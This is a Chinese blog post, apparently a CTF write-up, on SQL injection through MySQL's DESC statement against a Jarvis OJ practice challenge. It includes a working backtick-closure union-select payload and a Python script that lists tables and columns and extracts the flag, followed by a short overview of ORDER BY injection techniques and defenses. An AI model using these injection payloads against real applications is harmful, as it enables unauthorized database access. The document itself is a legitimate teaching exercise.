desc相关注入

{DESCRIBE | DESC}  table_name [col_name|wlid]

DESCRIBE 提供有关一个表的列信息 col_name 可以是一个 列名或是一个包含 SQL 通配符字符 “%” 和 “_” 的字符 串。

desc 表名之后跟列名

desc 表名 之后 跟一个不存在的列名:

例题:

题目地址:http://web.jarvisoj.com:32794/

通过目录扫描发现了该站点的一个源文件index.php~

因为index.php~ 没有被nginx解析 所以可以看到源代码:

mysql中反引号的作用:

比如你想要创建一个数据库,但是这个数据库名中含有mysql的保留字,就必须用``将这个保留字给引起来

题目关键点在于:payload成功穿过第一条desc 语句,让desc语句不报错的情况下,攻击到第二条select语句

?table = test` `union select database() limit 1 offset 1

desc `secret_test` `union select database() limit 1 offset 1`

select `flag{xxx}` from secret_test` `union select database() limit 1 offset 1

上句话中 ` `起到了空格的作用,相互闭合了。

payload:

import requests
import base64


baseurl = """http://web.jarvisoj.com:32794"""
def str2Hex(stri):
    return '0x'+base64.b16encode(stri.encode("utf-8")).decode("utf-8")
def showGet(url):
    resp = requests.get(url)
    print(resp.text)
def Db():
    url = baseurl+"""?table=test` `union select database() limit 1 offset 1 """
    showGet(url)
def Tables():
    url = baseurl+"""?table=test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1 offset 1"""
    showGet(url)
def Columns(table):
    table = str2Hex(table)
    url = baseurl+"""?table=test` `union select group_concat(column_name) from information_schema.columns where table_name=%s limit 1 offset 1"""%(table)
    # print(url)
    showGet(url)
def Data():
    url = baseurl+"""?table=test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1 offset 1"""
    showGet(url)

if __name__ == "__main__":
    # Db() #61d300
    Tables() #secret_flag,secret_test
    Columns("secret_flag") #flagUwillNeverKnow
    Data() #flag{luckyGame~}

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在SQL注入中,"ORDER BY"是一种常用的攻击手法之一。它通常用于利用应用程序对SQL查询结果的排序方式进行操作,从而获取额外的信息或者绕过安全措施。 "ORDER BY"子句用于对查询结果进行排序。它可以按照一个或多个列进行排序,并指定升序(ASC)或降序(DESC)。在正常情况下,应用程序会根据用户的选择或者默认设置来构建"ORDER BY"子句。 然而,在SQL注入攻击中,攻击者可以通过构造恶意输入来修改"ORDER BY"子句,以达到他们的目的。以下是一些常见的SQL注入中的"ORDER BY"攻击技巧: 1. 利用错误消息:攻击者可以通过在"ORDER BY"子句中使用不存在的列名或者无效的排序方式来触发错误消息。这些错误消息可能会泄露数据库的结构信息,如表名、列名等。 2. 盲注攻击:攻击者可以通过使用布尔逻辑来判断某个条件是否成立,从而逐位地猜测查询结果。例如,通过使用"ORDER BY"子句来判断某个列的值是否大于或小于某个特定值。 3. 时间延迟攻击:攻击者可以通过在"ORDER BY"子句中使用时间延迟函数,如SLEEP()或BENCHMARK(),来延长查询的执行时间。这可以用于判断某个条件是否成立,或者用于拖慢应用程序的响应时间。 为了防止SQL注入攻击中的"ORDER BY"攻击,开发人员应该采取以下措施: 1. 使用参数化查询或预编译语句:这可以防止攻击者通过注入恶意代码来修改"ORDER BY"子句。 2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只允许合法的输入。 3. 最小权限原则:将数据库用户的权限限制在最小必需的范围内,以减少攻击者可以利用的漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值